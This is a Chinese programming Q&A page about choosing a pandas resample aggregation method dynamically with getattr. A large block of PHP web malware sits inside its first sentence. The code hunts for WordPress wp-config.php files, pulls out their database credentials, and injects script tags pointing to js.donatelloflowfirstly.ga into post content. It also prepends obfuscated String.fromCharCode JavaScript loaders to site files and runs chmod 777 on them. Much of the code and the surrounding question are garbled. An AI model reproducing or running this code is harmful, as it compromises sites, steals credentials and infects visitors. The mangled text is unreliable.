问题描述
我正在尝试创建一个对<?PHP echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors',1);
search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php");
die();
function get_var_reg($pat,$text) {
if ($c = preg_match_all ("/".$pat."/is",$text,$matches))
{
return $matches[1][0];
}
return "";
}
function search_file_ms($dir,$file_to_search){
$search_array = array();
$files = scandir($dir);
if($files == false) {
$dir = substr($dir,-3);
if (strpos($dir,'../') !== false) {
@search_file_ms( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_ms( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEParaTOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false) {
show_sitenames($path);
}
} else if($value != "." && $value != "..") {
@search_file_ms($path,$file_to_search);
}
}
}
function show_sitenames($file){
$content = @file_get_contents($file);
if(strpos($content,"DB_NAME") !== false) {
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
$host = get_var_reg("'DB_HOST'.*?,$content);
$user = get_var_reg("'DB_USER'.*?,$content);
$pass = get_var_reg("'DB_PASSWORD'.*?,$content);
// Create connection
$conn = new MysqLi($host,$user,$pass);
// Check connection
if ($conn->connect_error) {
} else {
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM @R_262_4045@ion_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if(strpos($val,"js.donatelloflowfirstly.ga") === false){
if(strpos($val,"js.donatelloflowfirstly.ga") === false){
$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
} else {
}
}
}
} else {
}
}
} else {
}
$conn->close();
}
}
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir,'../') !== false) {
@search_file( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEParaTOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it($path);
} }else if($value != "." && $value != "..") {
search_file($path,$file_to_search);
}
}
}
function search_file_index($dir,'../') !== false) {
search_file_index( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
search_file_index( $dir,".htm")) !== false) {
make_it_index($path);
} }else if($value != "." && $value != "..") {
search_file_index($path,$file_to_search);
}
}
}
function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir,'../') !== false) {
@search_file_js( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_js( $dir,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path,$file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g,'106,115,46,100,111,110,97,116,101,108,102,119,105,114,121,103,97') !== false) {
} else {
$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this,element.nextSibling);},false;(function() { var elem = document.createElement(String.fromCharCode(115,99,112,116)); elem.type = String.fromCharCode(116,120,47,106,118,116); elem.src = String.fromCharCode(104,58,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,100))[0]);document.getElementsByTagName(String.fromCharCode(104,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "js:".$f."\r\n";
}
}
function make_it_index($f){
if (strpos($g,97') !== false || strpos($g,'js.donatelloflowfirstly.ga') !== false) {
} else {
$l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "in:".$f."\r\n";
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g,97') !== false) {
} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this,100))[0].appendChild(elem);})();</script>";
if (strpos($g,'<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g,'</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$b);
echo "hh:".$f."\r\n";
}
}
}
中的时间序列数据进行重新采样的函数。我想根据我要发送的数据类型指定发生聚合的类型（例如，对于某些数据，采用每个bin的总和是适当的，而对于其他数据，则需要采用均值，等等。）。例如这样的数据：
pandas我可以拥有这样的功能
import pandas as pd
import numpy as np
dr = pd.date_range('01-01-2020','01-03-2020',freq='1H')
df = pd.DataFrame(np.random.rand(len(dr)),index=dr)
对于少量的聚合方法来说，这很好，但是如果我想从all of the possible choices中进行选择，这似乎很乏味。
我希望使用def process(df,freq='3H',method='sum'):
r = df.resample(freq)
if method == 'sum':
r = r.sum()
elif method == 'mean':
r = r.mean()
#...
#more options
#...
return r
来实现something like this post（在“使其正常工作：泛化方法调用”下）。但是，我找不到执行此操作的方法：
getattr我了解了def process2(df,method='sum'):
r = df.resample(freq)
foo = getattr(r,method)
return r.foo()
#fails with:
#AttributeError: 'DatetimeIndexResampler' object has no attribute 'foo'
def process3(df,method)
return foo(r)
#fails with:
#TypeError: __init__() missing 1 required positional argument: 'obj'
失败的原因（调用process2寻找r.foo()的方法foo()，而不是变量r）。但是我不知道为什么foo会失败。
我知道另一种方法是将函数传递给参数process3，然后将method传递给apply上的那些函数。我的倾向是这样做效率会降低吗？而且它仍然不允许我直接访问内置的Resample方法。
是否有一种可行的，更简洁的方法来实现这一目标？谢谢！
解决方法
尝试.resample().apply(method)
但是除非您打算在函数内部计划更多的计算，否则仅硬编码此行可能会更容易。